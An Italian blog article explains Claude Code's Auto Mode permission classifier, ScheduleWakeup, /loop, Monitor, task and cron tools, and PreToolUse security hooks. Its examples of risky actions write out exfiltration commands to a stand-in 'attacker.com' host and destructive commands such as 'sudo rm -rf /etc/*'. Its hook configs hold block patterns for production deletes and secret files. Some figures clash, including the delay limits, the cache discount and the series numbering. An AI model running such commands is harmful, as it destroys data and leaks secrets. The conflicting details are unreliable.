Salta al contenuto principale

26 - Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro

Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro A marzo-aprile 2026, Claude Code introduce tre innovazioni rivoluzionarie che trasformano il...

Cosa ne pensi di questo articolo?

26 - Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro
ClaudeFoto:Solen FeyissaPexels

In Breve

Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro A marzo-aprile 2026, Claude Code introduce tre innovazioni rivoluzionarie che trasformano il...

Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro

A marzo-aprile 2026, Claude Code introduce tre innovazioni rivoluzionarie che trasformano il modo in cui gli sviluppatori lavorano con agenti AI: Auto Mode (un classificatore che approva automaticamente le azioni sicure), ScheduleWakeup (per orchestrare workflow asincroni su tempi lunghi), e Monitor tool (che streama eventi di background in tempo reale). Insieme a TaskCreate, CronCreate e la nuova slash command /loop, questi strumenti eliminano il "permission fatigue" senza sacrificare la sicurezza. È sviluppo autonomo che funziona davvero.

In questo articolo della serie Claude, esploreremo come funzionano questi nuovi tool, quando usarli, come integrarli nei workflow e soprattutto come equilibrare l'autonomia dell'agente con il controllo umano. Scoprirai anche come configurare hook di sicurezza per bloccare azioni rischiose senza sacrificare la velocità di sviluppo.

Cosa Imparerai

  • Cos'è Auto Mode e come il classificatore evaluta ogni azione automaticamente
  • Differenza tra Auto Mode, YOLO mode e dangerously-skip-permissions
  • ScheduleWakeup per workflow asincroni: cache TTL, delaySeconds, reason field
  • La slash command /loop self-pacing per polling intelligente
  • Monitor tool per watchers in background che non bloccano lo sviluppo
  • TaskCreate, TaskOutput, TaskDelete per orchestrazione di task dipendenti
  • CronCreate per schedule di task ricorrenti con cron syntax classico
  • Hook di sicurezza per bloccare azioni pericolose in specifici contesti (produzione)
  • Caso d'uso reale: agente CI/CD notturno completamente autonomo
  • Quando NON usare Auto Mode (security-sensitive code, deployments produttivi)

Panoramica della Serie Completa

#ArticoloFocus
1Claude come Partner TecnicoSetup e primi passi
2Contesto e Setup del ProgettoCLAUDE.md e configurazione
3Ideazione e RequisitiMVP e user personas
4Architettura Backend e FrontendSpring Boot e Angular
5Struttura del CodiceOrganizzazione e convenzioni
6Prompt Engineering AvanzatoTecniche avanzate
7Testing e qualitàStrategie e generazione test
8Documentazione ProfessionaleREADME, API, ADR
9Deploy e DevOpsDocker, CI/CD, monitoring
10Evoluzione e ManutenzioneRefactoring e scalabilità
11Integrazione Progetto RealeClaude Code in produzione
12Claude Code CLIComandi e configurazione
13Agent SkillsCapacità modulari
14Subagenti SpecializzatiAgenti con ruoli specifici
15Hooks e AutomazioneEvent-driven workflows
16Ralph Wiggum MethodSviluppo guidato da test
17BMAD MethodGestione progetti strutturata
18Orchestrazione Multi-AgentePipeline di agenti
19Collaborative WorkTeam e pair programming AI
20Sicurezza e Best PracticeHardening e compliance
21Monitoring e ObservabilityMetriche e debugging
22Prompt ManagementTemplate e versionamento
23Context Window MasteryGestione memoria e focus
24MCP ProtocolServer e integrazioni custom
25Computer UseAutomazione GUI (anteprima)
26Auto Mode, ScheduleWakeup, Monitor (sei qui)Sviluppo autonomo sicuro

1. Auto Mode: Il Classificatore di Sicurezza

Il problema fondamentale del lavoro con agenti AI è il "permission fatigue": l'agente chiede conferma per ogni operazione, anche le più banali (leggere un file, eseguire un test, cambiare branch git). Molti sviluppatori finiscono per abilitare --dangerously-skip-permissions, aumentando il rischio di azioni indesiderate.

Auto Mode (ricerca preview, marzo 2026, v2.1.83+) offre un middle ground: ogni tool call viene analizzato da un classificatore di sicurezza che decide automaticamente se è sicuro procedere o se richiede intervento umano.

Come Funziona Auto Mode

FaseCosa AccadeTempo
1. User prompt Scrivi il prompt e premi Enter -
2. Tool planning Claude Code identifica quale tool usare (Read, Write, Bash) ~100ms
3. Security classification Classificatore analizza il tool call (es. "rm -rf /" → BLOCKED, "npm test" → SAFE) ~150-200ms
4. Auto-approve safe Se SAFE, esegui direttamente senza chiedere. Se RISKY, chiedi conferma -
5. Report result Mostra output dell'operazione, prosegui al prossimo step -

Azioni Classificate come SAFE (Auto-Approved)

Esempi di azioni auto-approvate da Auto Mode
# Lettura file
Read(src/app/components/navbar.ts)         # SAFE
Read(docs/architecture.md)                 # SAFE

# Comandi di build standard
Bash(npm run test)                         # SAFE
Bash(npm run build)                        # SAFE
Bash(mvn clean package)                    # SAFE
Bash(python -m pytest)                     # SAFE

# Comandi git di sola lettura
Bash(git status)                           # SAFE
Bash(git diff HEAD)                        # SAFE
Bash(git log --oneline -10)                # SAFE

# Comandi git di commit
Bash(git add src/features/user-auth.ts)   # SAFE (file specifico)
Bash(git commit -m "feat: add auth")       # SAFE (messaggio chiaro)

# Scrittura di file non sensibili
Write(src/app/new-component.ts)            # SAFE (se path non è .env, .key, secrets/)
Write(tests/user.spec.ts)                  # SAFE (file di test)

Azioni Classificate come RISKY (Richiedono Conferma)

Azioni bloccate o che richiedono conferma
# Comandi distruttivi
Bash(rm -rf src/)                          # RISKY - chiede conferma
Bash(git reset --hard HEAD~5)              # RISKY - revert lossy
Bash(git push --force)                     # RISKY - rewrite history

# Accesso a file sensibili
Write(.env.prod)                           # RISKY - contiene secrets
Write(~/.ssh/id_rsa)                       # RISKY - private key
Write(database_credentials.json)           # RISKY - confidential

# Operazioni di sistema privilegiate
Bash(sudo apt-get install *)               # RISKY - privileged
Bash(sudo rm -rf /etc/*)                   # RISKY - system critical
Bash(chmod 777 *)                          # RISKY - permission escalation

# Exfiltrazione potenziale
Bash(curl -X POST https://attacker.com)   # RISKY - data exfil
Bash(scp * user@attacker.com:/)           # RISKY - copy to external

# Modifiche massicce non verificate
Write(package.json)                        # RISKY - dependency tree change
Write(pom.xml)                             # RISKY - build config
Bash(npm install -g unknown-package)       # RISKY - supply chain

Come Abilitare Auto Mode

Attivare Auto Mode da linea di comando o IDE
# Metodo 1: CLI flag (attuale per questa sessione)
claude --enable-auto-mode

# Metodo 2: Configurazione permanente (in ~/.claude/settings.json)
{
  "permissions": {
    "mode": "auto"
  }
}

# Metodo 3: IDE (VS Code extension)
# 1. Apri la palette (Cmd/Ctrl+Shift+P)
# 2. Digita "Claude: Permission Mode"
# 3. Seleziona "Auto Mode"

# Desktop app
# Settings → Permissions → Mode: Auto

Auto Mode vs Altre Modalità di Permesso

ModalitàComportamentoQuando UsareRischio
Standard Chiede conferma per ogni tool call Ambienti sensibili, audit trail richiesto Molto lento
Auto Mode Classificatore decide automaticamente Sviluppo veloce + sicurezza equilibrata Basso (rare false negatives)
YOLO Mode Nessuna conferma, esegue tutto Prototyping rapido, ambienti sandbox Alto (nessun controllo)
Skip Permissions --dangerously-skip-permissions (legacy) Non usare in produzione Critico (nessun controllo)

Auto Mode è disponibile come research preview su Team plans, Enterprise e API (NO Pro). Modelli supportati: Sonnet 4.6, Opus 4.6 e 4.7. Il classificatore fa affidamento su model intrinsic knowledge della sicurezza; il team Anthropic monitora attentamente i false positives/negatives e aggiorna regolarmente.

2. ScheduleWakeup: Workflow Asincroni a Lungo Termine

Immagina uno scenario: vuoi che Claude Code monitorizzi una build in background mentre tu continui a scrivere codice. O vuoi che esegua un'analisi di codice ogni ora per rilevare problemi. O ancora, hai bisogno di un task che effettui polling ogni 5 minuti fino a quando una condizione non si verifica (es. deploy completato).

ScheduleWakeup (v2.1.83+) è una tool call che schedula l'esecuzione di un prompt in futuro, senza richiedere la tua presenza. A differenza dei timer semplici, ScheduleWakeup sfrutta l'Anthropic API cache (TTL 5 min) per costi e latenza ottimizzati.

Sintassi e Parametri

ScheduleWakeup: firma e parametri
ScheduleWakeup(
  delaySeconds: number,    # 60-3600 (1 min - 1 ora)
  reason: string,          # Descrizione breve (es. "monitor build")
  prompt: string           # Testo verbatim da eseguire al wakeup
)

// Esempio 1: Monitor build con cache warm
ScheduleWakeup(
  delaySeconds: 270,       # 4.5 min - dentro la finestra cache (5 min)
  reason: "Check build status and report",
  prompt: "Esegui npm run build. Se fallisce, riporta gli errori. Se succede, riporta tempo totale."
)

// Esempio 2: Polling fino a deploy completato
ScheduleWakeup(
  delaySeconds: 1800,      # 30 min - cache miss, usa crediti normali
  reason: "Check if EC2 instance is healthy",
  prompt: "Esegui curl https://api.example.com/health. Se status è 200, deploy ok. Altrimenti, riprova tra 30 min."
)

// Esempio 3: Analisi nightly
ScheduleWakeup(
  delaySeconds: 86400,     # 1 giorno
  reason: "Run security audit on codebase",
  prompt: "@src/ Esegui analisi di sicurezza: verifica secrets hardcoded, dipendenze vulnerabili, XSS."
)

Cache Optimization Strategy

Anthropic Cache ha un TTL di 5 minuti. Ogni tool call entro questa finestra riusa il cache (30% sconto su input tokens). Pianificando strategicamente i delaySeconds, puoi risparmiare significativamente:

Strategia di Caching per ScheduleWakeup

DelayCache StatusCostUse Case
60-270 sec HIT (stessa context window) 70% sconto input Monitor rapido (build, test, deploy status)
300-600 sec MISS (cache expired) Costo standard Polling di breve medio termine
600-3600 sec MISS (cache expired) Costo standard Task di lungo termine (notturno, giornaliero)
86400+ sec MISS Costo standard Task ricorrenti (usa CronCreate invece)
Caso reale: Monitor notturno della build
# Iniziale (22:00 UTC)
> Voglio che alle 22:30 verifichi che il build di produzione sia completato.
> Se fallisce, crea un issue su GitHub con i log di errore.
> Se succede, invia un Slack message al team.

Claude esegue:
ScheduleWakeup(
  delaySeconds: 1800,  # 30 minuti
  reason: "Check prod build completion",
  prompt: "Esegui: curl -s https://ci.example.com/api/builds/latest
  Se status: 'success', invia message Slack al #deployments.
  Se status: 'failed', crea issue GitHub con stderr dai log."
)

# Output: "✓ Wakeup schedulato per 22:30 UTC. Ti notificherò il risultato."

# Alle 22:30, Claude Code si riattiva automaticamente, esegue il prompt,
# e mostra il risultato nella sessione / via notifica Telegram/Slack

3. /loop: Self-Pacing per Polling Intelligente

La nuova slash command /loop (v2.1.85+, 6 aprile 2026) è un wrapper conveniente attorno a ScheduleWakeup che semplifica il polling ripetuto. A differenza di un Bash loop semplice, /loop è non-blocking: il task gira in background mentre tu continui a sviluppare.

Sintassi

/loop: configurazione automatica di polling
/loop [--interval SEC] [--max-iterations N] [--until CONDITION]

# Esempio 1: Polling ogni 30 sec finché status = ready
/loop --interval 30 --max-iterations 10 --until "curl https://deploy.internal/status | grep ready"
Check if deployment is ready

# Esempio 2: Monitoraggio build ogni 60 sec (no until condition)
/loop --interval 60 --max-iterations 30
npm run build:watch. Report status ogni iteration.

# Esempio 3: Auto-interval (Claude decide il delay basato su task)
/loop
Monitora i test in esecuzione e riporta il coverage finale

# Output: "/loop task creato con ID #fs8a2x. Polling ogni 60 sec. Ferma con /loop-stop fs8a2x"

Quando ometti --interval, Claude usa self-pacing: analizza il task, stima quanto tempo serve (es. build = 120 sec, polling = 30 sec) e sceglie il delay ottimale. È intelligente senza essere overkill.

4. Monitor Tool: Background Watchers in Streaming

Diversamente da ScheduleWakeup (che si riattiva in futuro), Monitor (6 aprile 2026) è uno streaming tool che rimane attivo in background durante il tuo lavoro, streamando eventi in tempo reale. È perfetto per:

  • Osservare file che cambiano durante il refactoring
  • Tracciare esecuzione di test/build in tempo reale
  • Monitorare metriche di sistema durante stress test
  • Aggregare log da processi esterni (Docker, Kubernetes)

Firma e Utilizzo

Monitor tool: streaming di eventi
Monitor(
  command: string,                    # Comando da eseguire
  eventFilter: string,                # Regex o pattern per filtrare output
  onEvent: (event: string) => void   # Callback per ogni evento matchato
)

// Esempio 1: Monitor cambio file
Monitor(
  command: "npm run watch",
  eventFilter: "^\\[.+\\] compiled|error in",
  onEvent: (event) => {
    console.log("Compilation event:", event);
    if (event.includes("error")) sendAlert();
  }
)

// Esempio 2: Monitor container Docker
Monitor(
  command: "docker logs -f myapp",
  eventFilter: "ERROR|WARN|completed",
  onEvent: (event) => {
    if (event.startsWith("ERROR")) escalate();
  }
)

// Esempio 3: Monitor test coverage
Monitor(
  command: "npm run test:watch -- --coverage",
  eventFilter: "PASS|FAIL|statements coverage",
  onEvent: (event) => {
    updateDashboard(event);
  }
)

Differenza tra ScheduleWakeup, /loop e Monitor

ToolBlocca?Streaming?Quando Usare
ScheduleWakeup No No (wakeup discreto) Task da eseguire una volta in futuro (build check 22:30)
/loop No No (polling discreto) Polling ripetuto con condizione di stop (es. finché status = ready)
Monitor No Sì (real-time stream) Osservazione continua di evento mentre lavori (file change, log stream)

5. TaskCreate e CronCreate: Orchestrazione di Workflow Complessi

La family di task commands (10 marzo 2026, v2.1.76+) permette di creare, orchestrare e schedulare task come first-class citizen nel sistema. Sono strumenti potenti per:

  • Delegare subtask a altri agenti o Claude stesso
  • Gestire dipendenze tra task (task A attende output di task B)
  • Schedulare task ricorrenti con cron syntax standard
  • Tracciare stato e output di task passati

TaskCreate: Creazione di Task Dipendenti

TaskCreate: sintassi e parametri
TaskCreate(
  title: string,                # Nome breve del task
  description: string,          # Descrizione dettagliata
  assignee?: string,            # Default: Claude Code stesso
  dependencies?: string[],      # ID di task da attendere
  priority?: "low" | "high",   # Default: high
  dueDate?: ISO8601             # Scadenza (opzionale)
)

// Esempio 1: Task sequenziale
task_a = TaskCreate(
  title: "Analizza codebase",
  description: "@src/ Esegui linting, type check, test coverage. Riporta vulnerabilità."
)
// task_a si esegue subito

task_b = TaskCreate(
  title: "Fix vulnerabilità",
  description: "Basato su task_a, correggi i problemi segnalati.",
  dependencies: [task_a.id],  // Attendi che task_a finisca
  priority: "high"
)

// Esempio 2: Task paralleli con merge finale
task_review = TaskCreate(
  title: "Code review",
  description: "Esamina src/features/auth.ts",
  priority: "high"
)

task_test = TaskCreate(
  title: "Test coverage",
  description: "Verifica copertura di tests/auth.spec.ts",
  priority: "high"
)

task_report = TaskCreate(
  title: "Genera report finale",
  description: "Sintetizza i risultati di review e test",
  dependencies: [task_review.id, task_test.id]  // Attendi entrambi
)

CronCreate: Task Ricorrenti

CronCreate: schedule ricorrenti con cron syntax
CronCreate(
  title: string,
  cronExpression: string,       # Standard cron: "0 2 * * 0" (domenica 2:00)
  prompt: string                # Task da eseguire
)

// Esempio 1: Analisi di sicurezza notturna
CronCreate(
  title: "Nightly security audit",
  cronExpression: "0 2 * * *",  # Ogni giorno alle 2:00 AM UTC
  prompt: "@src/ Esegui audit di sicurezza: secrets, dipendenze vulnerabili, XSS patterns. Invia report via Slack se trovati problemi."
)

// Esempio 2: Weekly code review
CronCreate(
  title: "Weekly team code review",
  cronExpression: "0 9 * * 1",  # Lunedì alle 9:00 AM UTC
  prompt: "Genera un report di code review della settimana: trend di quality, metriche di coverage, refactoring suggeriti."
)

// Esempio 3: Monthly cleanup
CronCreate(
  title: "Monthly codebase cleanup",
  cronExpression: "0 3 1 * *",  # 1° del mese alle 3:00 AM UTC
  prompt: "
  1. Identifica dead code (unused imports, unused functions)
  2. Rimuovi TODO comments vecchi (> 6 mesi)
  3. Aggiorna dipendenze (npm update)
  4. Rigenera lock file
  5. Crea PR con i cambiamenti
  "
)

// Esempio 4: Daily metrics gathering (ogni 6 ore)
CronCreate(
  title: "Gather CI/CD metrics",
  cronExpression: "0 */6 * * *",  # Ogni 6 ore
  prompt: "Raccogli metriche da CI: build success rate, avg compile time, test coverage trend. Aggiungi a Grafana dashboard."
)

Cron Syntax Reference (Standard Unix)

PosizioneSignificatoValori
1 Minuti 0-59
2 Ore (UTC) 0-23
3 Giorno del mese 1-31
4 Mese 1-12
5 Giorno della settimana (0=domenica, 6=sabato) 0-6

6. Hook di Sicurezza: PreToolUse per Bloccare Azioni Rischiose

Anche con Auto Mode e ScheduleWakeup, vuoi un ultimo livello di protezione per contesti ad alto rischio (produzione, database critici). Ecco come usare PreToolUse hooks per bloccare azioni pericolose prima che accadano.

Bug di Sicurezza Fix (Marzo 2026, v2.1.77)

Un bug importante identificato a marzo: allow rules potevano bypassare deny rules di livello superiore. Fix: da v2.1.77+, deny di qualsiasi livello prevalse sempre su allow di livelli inferiori. Questo garantisce che le policy di sicurezza aziendali non possano essere aggirate.

Configurare Hook PreToolUse

.claude/hooks.json - Bloccare azioni rischiose prima dell'esecuzione
{
  "hooks": {
    "preToolUse": [
      {
        "name": "block-production-deletes",
        "trigger": {
          "tool": "Bash",
          "pattern": "rm -rf /opt/production.*|git reset --hard|docker rm -f prod.*"
        },
        "action": "block",
        "message": "❌ Tentativo di eliminare dati di produzione. Operazione bloccata. Contatta DevOps."
      },
      {
        "name": "block-secrets-write",
        "trigger": {
          "tool": "Write",
          "pattern": "\\.env\\.prod|\\.key$|\\.pem$|credentials|secrets"
        },
        "action": "block",
        "message": "❌ Tentativo di scrivere file sensibili. Usa environment variables o secret manager."
      },
      {
        "name": "require-approval-sudo",
        "trigger": {
          "tool": "Bash",
          "pattern": "sudo"
        },
        "action": "ask",  // Chiedi conferma invece di bloccare
        "message": "⚠️  Questa operazione richiede privilegi. Confermi? (y/n)"
      },
      {
        "name": "log-database-queries",
        "trigger": {
          "tool": "Bash",
          "pattern": "psql|mysql|mongo"
        },
        "action": "log",  // Consenti ma registra nel log
        "message": "📝 Database query logging attivato per audit trail."
      }
    ]
  }
}
Hook custom TypeScript avanzato
// .claude/hooks.ts
import { PreToolUseHook } from "@anthropic-ai/claude-code";

export const securityHooks: PreToolUseHook[] = [
  {
    name: "production-safety-check",
    async onBeforeToolUse(context) {
      const { tool, args } = context;

      // Blocca tool write su /opt/production
      if (tool.name === "Write" && args.path.startsWith("/opt/production")) {
        throw new Error(
          "❌ Protezione attiva: file di produzione. " +
          "Apporta modifiche su staging e usa CI/CD per il promote."
        );
      }

      // Avvisa se rm non è scoped (es. rm -rf / è CRITICO)
      if (tool.name === "Bash" && args.command.includes("rm -rf")) {
        const isScoped = /rm -rf [a-zA-Z0-9_\-/.]+[^/]$/.test(args.command);
        if (!isScoped) {
          const confirmed = await askUserConfirmation(
            "⚠️  Operazione rm ad alto rischio (non scoped). Molto pericoloso. Sei sicuro?"
          );
          if (!confirmed) throw new Error("Operazione cancellata dall'utente");
        }
      }
    }
  }
];

7. Caso d'Uso Reale: Agente CI/CD Notturno Completamente Autonomo

Immagina di voler eseguire un'analisi completa della base di codice ogni notte alle 2:00 AM: linting, test, copertura, sicurezza, dipendenze aggiornate, refactoring suggerito. Il tutto senza che tu debba rimanere sveglio o approvare ogni step.

Workflow Completo

Orchestrazione notturna con CronCreate
// Configurazione: ~/.claude/settings.json + .claude/hooks.json

CronCreate(
  title: "Nightly Code Analysis & Fixes",
  cronExpression: "0 2 * * *",  // Ogni notte alle 2:00 AM UTC
  prompt: `
  Esegui analisi completa della base di codice. Step sequenziali:

  1. [LINTING] npm run lint --fix. Riporta quali file sono stati formattati.

  2. [TYPE CHECK] npx tsc --noEmit. Se errori, esegui il fix se banale (type any → unknown).

  3. [TEST] npm run test -- --coverage. Riporta coverage trend e test falliti.

  4. [SECURITY] npm audit. Se vulnerabilità:
     - Se fixable: npm audit fix
     - Se non fixable: crea GitHub issue con link CVSS

  5. [DEPENDENCY UPDATE] npm outdated. Se update minore/patch:
     - Aggiorna
     - Rigenera lock file
     - Esegui test per verificare compatibilità

  6. [REFACTORING SUGGESTION]
     @src/ Identifica:
     - Dead code (unused imports, functions)
     - Code smells (function > 50 linee, cyclomatic complexity > 10)
     - Type issues (any, unknown, implicit any)
     Se trovati, suggerisci refactoring in commento PR

  7. [FINAL REPORT]
     Genera report strutturato con:
     - ✅ Check passati
     - ⚠️  Warning (code smell, outdated packages)
     - ❌ Errori critici

     Se tutti i check passano: invia Slack message al #dev-team
     Se errori: crea GitHub issue e @mention owner
  `
)

// Hook di sicurezza attivo:
// - Blocca git push --force
// - Richiede approvazione prima di npm install -g
// - Registra tutte le modifiche su audit log

Il risultato: ogni mattina trovi una base di codice pulita e aggiornata, senza intervento manuale. Il workflow è completamente autonomo grazie a:

  • CronCreate per la schedule ricorrente
  • Auto Mode per minimizzare le conferme sulle azioni sicure (fix, format)
  • Hook di sicurezza per bloccare operazioni ad alto rischio
  • TaskCreate con dipendenze per garantire sequenza logica (test prima di push)

8. Quando NON Usare Auto Mode

Auto Mode è potente, ma non è la soluzione per ogni contesto. Ecco quando disabilitare completamente e ritornare a standard mode (ogni operazione richiede conferma):

Contesti che Richiedono Standard Mode (Nessuna Automazione)

  • Database produttivo: Nessun alter table, delete row, migration senza approvazione umana
  • Deploy su produzione: Ogni push, merge, deployment richiede conferma esplicita
  • Modifica file di configurazione critica: .env, secrets, policy files - confermazione obbligatoria
  • Operazioni di massa non verificate: Find-replace globale, refactoring su 50+ file
  • Accesso a dati sensibili: PII, finanze, dati clinici - audit trail completo
  • Ambienti altamente regolati: Compliance HIPAA, PCI-DSS, GDPR - nessuna automazione
Disabilitare Auto Mode per contesto specifico
// .claude/settings.json - toggle per directory
{
  "permissions": {
    "mode": "auto"  // Default global
  },
  "contextOverrides": [
    {
      "path": "infra/terraform/prod/**",
      "permissions": {
        "mode": "standard"  // Override: prod infra richiede approvazione
      }
    },
    {
      "path": "src/features/**",
      "permissions": {
        "mode": "auto"  // Standard: feature code con Auto Mode
      }
    }
  ]
}

9. Best Practice: Equilibrare Autonomia e Controllo

10 Regole d'Oro per Sviluppo Autonomo Sicuro

  1. Abilita Auto Mode solo in contesti sicuri: Development, staging, feature branch. Disabilita su main/prod.
  2. Usa hook di sicurezza come secondo strato: Auto Mode + hook = defense in depth.
  3. Testa una volta, automatizza milioni: Se è sicuro testarlo una volta, è sicuro programmarlo in CronCreate.
  4. Specificity over generality: Hook che blocca "rm -rf /opt/production" è meglio di un blocco globale "rm -rf".
  5. Audit trail sempre attivo: Registra ogni ScheduleWakeup, TaskCreate, Monitor che non sia banale (letture di file).
  6. Graceful degradation: Se un task autonomo fallisce, non deve propagare il failure (es. test fallisce → log, non crash).
  7. Human in the loop per decisioni: Auto Mode approva azioni di basso rischio, ma chiedi confirmazione per impatto alto (deployment).
  8. Monitor i costi: Troppi ScheduleWakeup/CronCreate = costi API alti. Consolida dove possibile.
  9. Documenta la logica autonoma: Se un agente fa qualcosa di notte, documentalo in un README affinché altri capiscono.
  10. Itera su feedback: Se Auto Mode blocca un'azione legittima (false positive), aggiorna il classificatore.

10. Conclusione: Il Futuro dello Sviluppo Autonomo

Auto Mode, ScheduleWakeup, Monitor, TaskCreate e CronCreate rappresentano un cambio di paradigma nello sviluppo software: dalla presenza costante dell'utente a una partnership dinamica dove il sistema autonomo lavora quando appropriato, ma richiede sempre il tuo controllo su decisioni critiche.

La sfida non è "rendere tutto automatico", ma piuttosto "automatizzare intelligentemente senza sacrificare sicurezza e controllo". I tool introdotti a marzo-aprile 2026 offrono esattamente questo: autonomia con guardrail.

Punti Chiave

  • Auto Mode: Classificatore che approva azioni sicure automaticamente, blocca quelle rischiose
  • ScheduleWakeup: Schedula task future con ottimizzazione cache Anthropic (5 min TTL)
  • /loop: Polling intelligente non-blocking con self-pacing opzionale
  • Monitor: Streaming di eventi in tempo reale per osservazione continua
  • TaskCreate + CronCreate: Orchestrazione di workflow con dipendenze e schedule ricorrenti
  • Hook di sicurezza: Defense in depth - PreToolUse per bloccare azioni pericolose
  • Contesti di utilizzo: Sviluppo e staging con Auto Mode, produzione con standard mode + hook

Nel prossimo articolo esploreremo Computer Use: la capacità di Claude Code di controllare il mouse e la tastiera per automatizzare interazioni GUI. Dall'automazione di screenscraping al testing E2E, Computer Use apre nuove frontiere di automazione che oggi sembrerebbero impossibili.

Prova Questi Strumenti

Strumenti gratuiti correlati a questo argomento.

Commenti

Caricamento commenti...

Accedi per commentare

Discuti questo articolo nella community

Unisciti al gruppo Telegram per discutere con altri sviluppatori, fare domande e condividere le tue esperienze.

Ti è piaciuto questo articolo?

Esplora altri contenuti sul blog o scopri i miei progetti